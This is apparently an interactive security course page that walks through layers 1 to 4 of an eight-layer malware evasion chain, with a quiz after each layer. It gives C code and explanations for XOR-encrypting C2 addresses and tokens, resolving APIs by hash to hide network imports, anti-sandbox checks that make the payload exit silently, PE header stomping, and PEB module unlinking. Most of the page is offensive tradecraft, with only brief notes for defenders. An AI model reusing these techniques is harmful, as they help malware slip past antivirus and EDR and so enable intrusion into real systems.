// INTERACTIVE COURSE — CSEC
8-Layer Evasion Stack
Walk through each layer of the IRON-DOME evasion chain. Animated concept visuals, field manual theory, code samples, and gated questions at every layer. Answer all questions to complete the lab.
LAYER
1 / 8
[1]
XOR String Obfuscation
No plaintext C2 strings in binary
ALWAYS ACTIVE
// CONCEPT — XOR BIT-FLIP VISUALIZER
PLAINTEXT
KEY (0xFC)
XOR RESULT
cycling byte: ? flip animation — bits that change highlighted amber
// WHY THIS WORKS — FIELD MANUAL

Static AV engines are, at their core, byte-pattern matchers. They load a binary into a buffer and run thousands of regex-like rules against it looking for known bad strings: IP addresses, function names, C2 tokens. The rule for an IP pattern is something like /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/ — simple, fast, and completely defeated by encoding. XOR encodes each byte of the string against a key, producing output that looks like random binary garbage. The scanner's rule finds nothing because nothing it expects is there.

The second axis of protection is per-variant keying. If you encrypt your C2 IP with key 0xFC and the AV vendor reverse-engineers one sample and writes a rule for the encrypted form, changing the key to 0xAB produces completely different ciphertext. Each build is unique. This is why commodity malware authors rotate keys per campaign — it's free polymorphism with four lines of Python at build time.

The weak point is runtime. When the payload decrypts to a stack buffer, the plaintext exists in process memory for the duration of that function call. Memory scanners that hook into the process or scan virtual address space can catch it there. The defence is scope: decrypt, use immediately, then the function returns and the stack frame is gone. Never store decrypted strings in globals.

All sensitive strings (C2 IP, port, ISUN auth token) are XOR-encrypted at build time with a per-variant key. At runtime, a small decryption stub XORs them back into a stack buffer — they never exist as plaintext in the PE's .rdata section.
// BUILD-TIME ENCRYPTION (builder)
def xor_encrypt(data: bytes, key: int) -> list: return [b ^ key for b in data] ip_enc = xor_encrypt(b"192.168.1.145", 0xFC) # → [0x3d, 0x6f, 0x74, ...] ← no plaintext in binary
// RUNTIME DECRYPTION (C payload)
static void xor_dec(char *buf, const unsigned char *enc, size_t len, unsigned char key) { for (size_t i = 0; i < len; i++) buf[i] = (char)(enc[i] ^ key); buf[len] = 0; } /* Decrypts to stack buffer — gone after use */ char ip[64] = {0}; xor_dec(ip, ENC_IP, IP_LEN, XOR_KEY);
Why it works: Static scanners grep binary for IP strings, "192.168.", "ISUN", etc. XOR encoding means those strings don't exist in the file — the scanner finds nothing. Each variant gets a different key (0xFC, 0xAB, 0xDE), so the encrypted blobs look different across builds too.
BEATS
YARA string rules
✓ no plaintext
BEATS
AV static scan
✓ encrypted .rdata
DOESN'T BEAT
Memory scan post-exec
— strings on stack briefly
COST
~20 bytes overhead
minimal
// ADVANCED: HASH-BASED API RESOLUTION (NO STRING IN BINARY)
/* djb2 hash of API name — no string "WSASocketA" ever exists */ static DWORD djb2(const char *s) { DWORD h = 5381; while (*s) h = ((h << 5) + h) ^ (BYTE)*s++; return h; } /* Resolve any export by hash — immune to string grep */ #define H_WSASOCKET 0x3B9B3BBA #define H_CONNECT 0xE73479C7 FARPROC resolve_by_hash(HMODULE mod, DWORD target) { BYTE *base = (BYTE*)mod; IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER*)base; IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew); IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY*) (base + nt->OptionalHeader.DataDirectory[0].VirtualAddress); DWORD *names = (DWORD*)(base + exp->AddressOfNames); for (DWORD i = 0; i < exp->NumberOfNames; i++) { if (djb2((char*)(base + names[i])) == target) return (FARPROC)(base + /* resolve ordinal */); } return NULL; }
// CHECK YOUR UNDERSTANDING — LAYER 1
Why does XOR string obfuscation defeat static AV scanners even when the binary is scanned at rest?
A) The encrypted binary is too large for scanners to load into memory
B) Encrypted strings don't exist as plaintext in .rdata — there's nothing for a string-match rule to find
C) XOR operations corrupt the scanner's decode pipeline
D) AV vendors haven't implemented XOR decryption in their engines
[2]
Dynamic API Resolution
No direct IAT entries for network APIs
ALWAYS ACTIVE
// CONCEPT — HASH RESOLUTION PIPELINE
"CreateRemoteThread"
djb2()
0x72BD9C1A
compare exports
FARPROC ✓
The API name string never exists in your binary — only its hash. The PE export table is walked at runtime to find a matching hash.
// WHY THIS WORKS — FIELD MANUAL

Every Windows executable has an Import Address Table — a section in the PE that lists exactly which DLLs and functions the binary needs at load time. AV products love the IAT because it's a clean, pre-parsed list of every capability the binary declares. A payload that imports WSASocketA, connect, send, and recv is broadcasting "I make network connections." Dynamic resolution removes that declaration entirely. The binary loads ws2_32.dll at runtime by name and walks its export directory to find function addresses. The IAT shows nothing.

The next step is hash-based resolution: instead of passing the string "WSASocketA" to GetProcAddress, you compute a hash of the name at build time, store just the hash constant, and walk the export table comparing hashes. Now the API name string doesn't exist in the binary at all — not in the IAT, not in .rdata, nowhere. The scanner has no string to match against.

The tell for defenders is the combination: LoadLibraryA + GetProcAddress in the IAT, or LoadLibraryA present with no corresponding DLL in the IAT. This pattern — present in a lot of legitimate software too — gets elevated to a high-confidence flag when combined with other indicators. In isolation it's noise; stacked with XOR strings and sandbox evasion it's a kill signal.

Instead of importing WSASocketA, connect, send, recv directly (which would appear in the PE's Import Address Table), the payload loads ws2_32.dll at runtime via a XOR-encoded library name, then resolves function pointers via GetProcAddress.
// OBFUSCATED DLL LOAD
static HMODULE load_ws2(void) { char lib[16] = {0}; /* "ws2_32.dll" XOR-encoded with 0x11 */ const unsigned char enc[] = { 0x77^0x11, 0x73^0x11, 0x32^0x11, 0x5f^0x11, 0x33^0x11, 0x32^0x11, 0x2e^0x11, 0x64^0x11, 0x6c^0x11, 0x6c^0x11 }; for (int i=0; i<10; i++) lib[i] = enc[i]^0x11; return LoadLibraryA(lib); } /* Function pointers resolved at runtime */ pWSASocketA fn_socket = (pWSASocketA) GetProcAddress(ws2, "WSASocketA");
Why it works: AV tools flag binaries that directly import WSASocketA or connect — these are in the PE's IAT and trivially visible. Dynamic resolution means the IAT is clean. The ws2_32.dll name itself is encoded so string search finds nothing.
BEATS
IAT inspection
✓ no direct imports
BEATS
Import heuristics
✓ clean import table
DOESN'T BEAT
API call tracing
— hooks can still catch calls
DETECTION
LoadLibrary + GetProcAddress pattern
monitor in combination
// ADVANCED: FULL DYNAMIC RESOLUTION CHAIN (ALL NETWORK APIs)
/* Every call pointer resolved at runtime — zero direct imports */ typedef SOCKET (WINAPI *pWSASocketA)(int,int,int,void*,DWORD,DWORD); typedef int (WINAPI *pConnect) (SOCKET, const struct sockaddr*, int); typedef int (WINAPI *pSend) (SOCKET, const char*, int, int); typedef int (WINAPI *pRecv) (SOCKET, char*, int, int); typedef int (WINAPI *pWSACleanup)(void); HMODULE ws2 = load_ws2(); /* loads "ws2_32.dll" via XOR decode */ pWSASocketA fn_sock = (pWSASocketA) GetProcAddress(ws2, "WSASocketA"); pConnect fn_connect = (pConnect) GetProcAddress(ws2, "connect"); pSend fn_send = (pSend) GetProcAddress(ws2, "send"); pRecv fn_recv = (pRecv) GetProcAddress(ws2, "recv"); pWSACleanup fn_cleanup = (pWSACleanup) GetProcAddress(ws2, "WSACleanup"); /* PE IAT shows: kernel32.dll!LoadLibraryA, kernel32.dll!GetProcAddress That's it. No ws2_32 reference anywhere. */
// CHECK YOUR UNDERSTANDING — LAYER 2
An AV tool inspects the Import Address Table of a binary and finds only LoadLibraryA and GetProcAddress. What can it conclude?
A) The binary is safe — it imports no network APIs
B) Network APIs may be resolved dynamically at runtime — the clean IAT is a red flag for dynamic resolution, not proof of safety
C) The binary cannot make network connections at all
D) Only kernel32 functions will be called — no sockets possible
[3]
Anti-Sandbox Checks
Timing delta · screen resolution · disk space
ALWAYS ACTIVE
// CONCEPT — SANDBOX CHECK SEQUENCE
TIMING
🖥SCREEN W
📐SCREEN H
💾DISK
■ PASS — real machine ■ FAIL — sandbox detected → silent exit
// WHY THIS WORKS — FIELD MANUAL

AV cloud sandboxes are virtualised execution environments built for throughput. To process thousands of samples per hour they cut corners: they run small VM images (minimal disk, 800x600 display), they have no real user activity, and critically, they accelerate or bypass time-based calls to push samples through faster. Sleep(500) on a sandbox might complete in 5ms. That gap is detectable with a simple GetTickCount comparison before and after.

Screen resolution is a blunt but effective check. A real workstation in 2025 has at minimum 1920x1080. Sandbox VMs default to 800x600 because they don't need a real display — the hypervisor renders nothing. The disk space check catches the other common VM signature: a freshly-provisioned 30GB virtual disk versus a real machine's 500GB+ drive. These are environmental facts that are hard to fake cheaply at scale.

The advanced checks compound the difficulty. Single-core VMs, fresh boot times under five minutes, and static cursor positions are all sandbox tells that require real investment to spoof. Each check adds cost to the sandbox operator. Stack enough checks and the sandbox either fails them all (legitimate samples also fail edge cases rarely) or the sandbox vendor has to burn engineering time keeping up with every new check. Asymmetric warfare — cheap for the attacker, expensive for the defender.

Before any network activity, the payload runs three environment checks. If any check fails, the binary exits silently with return code 0 — no crash, no alert, nothing for the sandbox to log.
// THREE-CHECK SANDBOX GATE
static int sandbox_check(void) { /* CHECK 1: Timing — sandboxes fake Sleep() */ DWORD t1 = GetTickCount(); Sleep(500); if ((GetTickCount() - t1) < 400) return 1; /* CHECK 2: Screen res — sandboxes use 800x600 */ if (GetSystemMetrics(SM_CXSCREEN) < 1024) return 1; if (GetSystemMetrics(SM_CYSCREEN) < 768) return 1; /* CHECK 3: Disk — sandbox VMs have <30GB */ ULARGE_INTEGER free_bytes; if (GetDiskFreeSpaceExA("C:\\", &free_bytes, NULL, NULL)) if (free_bytes.QuadPart < (30ULL << 30)) return 1; return 0; /* real machine */ } if (sandbox_check()) return 0; /* silent exit */
Why it works: AV cloud sandboxes run samples in VMs: small screen (800×600), no disk, and they accelerate or skip Sleep calls to get through execution faster. All three checks fail in a typical sandbox environment. The payload never reveals its behaviour — the sandbox reports "clean" because nothing happened.
BEATS
Cloud AV sandbox
✓ silent exit
BEATS
Dynamic analysis VM
✓ resolution check fails
DOESN'T BEAT
Physical test machine
— all checks pass on real HW
DETECTION
Long Sleep + GetSystemMetrics
pattern rarely flagged
// ADVANCED: CPU CORE COUNT + UPTIME CHECKS
/* Sandbox VMs are frequently single-core and freshly booted */ SYSTEM_INFO si; GetSystemInfo(&si); if (si.dwNumberOfProcessors < 2) return 1; /* VMs often single-core */ /* Uptime < 5 minutes = fresh VM boot, not a normal user session */ if (GetTickCount64() < (5ULL * 60 * 1000)) return 1; /* Mouse movement — real users move the cursor; sandboxes don't */ POINT p1, p2; GetCursorPos(&p1); Sleep(3000); GetCursorPos(&p2); if (p1.x == p2.x && p1.y == p2.y) return 1; /* no user = sandbox */ return 0; /* 5 checks passed — real machine */
// CHECK YOUR UNDERSTANDING — LAYER 3
The anti-sandbox timing check calls Sleep(500) and then compares GetTickCount(). What does it detect when the delta is less than 400ms?
A) The machine is too fast — Sleep finished early due to CPU speed
B) A debugger is attached and intercepted the Sleep call
C) The sandbox accelerated or skipped Sleep() to speed up execution — a real OS always takes at least 400ms for Sleep(500)
D) The system clock rolled over during the sleep
[4]
PE Header Stomp
Zeroes DOS header post-load to defeat memory scanners
ALWAYS ACTIVE
// CONCEPT — PE MEMORY LAYOUT BEFORE / AFTER STOMP
BEFORE STOMP
0x0000DOS Header (MZ)
0x0040PE Signature
0x0058COFF Header
0x0078Optional Header
0x0400.text (code)
0x1000.rdata
AFTER STOMP
0x000000 00 00 00 ...
0x004000 00 00 00 ...
0x005800 00 00 00 ...
0x007800 00 00 00 ...
0x0400.text (code) ← still runs
0x1000.rdata
// WHY THIS WORKS — FIELD MANUAL

The PE header is a roadmap — it tells the Windows loader where to find sections, what permissions to set, and where to start execution. The loader reads this map when the binary is loaded into memory and sets everything up. Once that's done, the header is dead weight. Execution doesn't need it anymore. The CPU doesn't re-read the header to call functions — it just follows the instruction pointer through the code pages that the loader already mapped.

Memory scanners, on the other hand, need the header. When an EDR or AV product enumerates running processes and their loaded modules, it typically looks for the MZ signature (0x4D 0x5A) at the base address of each memory region to identify PE images. Without it, the region doesn't register as a loaded module — it looks like an anonymous heap or mapped file allocation. The scanner's PE validation fails, and it moves on.

The detection surface this creates is the VirtualProtect call itself. You have to make the header region writable before you can zero it. An EDR that hooks VirtualProtect and flags any call that targets a region containing the module's own base address will catch this. The HWBP bypass shown in Layer 8 eliminates that call entirely — no VirtualProtect, no detection event.

After passing the sandbox check, the payload zeroes the first 0x400 bytes of its own loaded image — overwriting the DOS header (MZ), PE signature, and stub code. Memory scanners that look for loaded modules with valid PE headers find nothing.
// PE HEADER STOMP
static void stomp_pe_header(void) { DWORD old; HMODULE base = GetModuleHandleA(NULL); if (!base) return; /* Make header writable */ VirtualProtect(base, 0x1000, PAGE_READWRITE, &old); /* Zero first 0x400 bytes: MZ, PE sig, DOS stub */ memset(base, 0, 0x400); /* Restore protection */ VirtualProtect(base, 0x1000, old, &old); } stomp_pe_header(); /* runs immediately after sandbox check */
Why it works: EDR and AV products enumerate loaded modules and validate their PE headers in memory. A zeroed header means the module doesn't look like a PE — it's invisible to memory scanners that iterate the PEB module list and check for MZ\x4D\x5A. Execution continues normally because the OS already parsed the headers at load time.
BEATS
In-memory PE scanner
✓ no MZ signature
BEATS
Module list inspection
✓ malformed header
DOESN'T BEAT
VirtualProtect hook
— protect call is visible
DETECTION
VirtualProtect on own base
unusual pattern — alert
// ADVANCED: PEB MODULE UNLINKING (HIDE FROM PROCESS LIST)
/* Remove own module from PEB InLoadOrderModuleList — tools like Process Explorer iterate this list to show loaded modules. After unlinking, the module is invisible to usermode enumeration. */ typedef struct _LDR_MODULE { LIST_ENTRY InLoad; /* Fwd/Bk — doubly-linked list of loaded modules */ LIST_ENTRY InMem; LIST_ENTRY InInit; PVOID Base; PVOID Entry; ULONG SizeOfImage; } LDR_MODULE; /* Walk PEB → Ldr → InLoadOrderModuleList to find own entry */ LDR_MODULE *me = /* PEB walk, find entry where Base == GetModuleHandle(NULL) */; /* Unlink from all three lists */ me->InLoad.Fwd->Bk = me->InLoad.Bk; me->InLoad.Bk->Fwd = me->InLoad.Fwd; me->InMem.Fwd->Bk = me->InMem.Bk; me->InMem.Bk->Fwd = me->InMem.Fwd; /* Module now absent from all PEB module enumeration APIs */
// CHECK YOUR UNDERSTANDING — LAYER 4
After zeroing the first 0x400 bytes of the loaded image (PE header stomp), why doesn't the process crash?
A) Windows re-reads the PE header from disk on every function call
B) The OS parsed and mapped all sections at load time — the header is no longer needed for execution; only in-memory scanners lose their reference point
C) memset only zeroes bytes that were already unused padding
D) VirtualProtect restores the original bytes before any code runs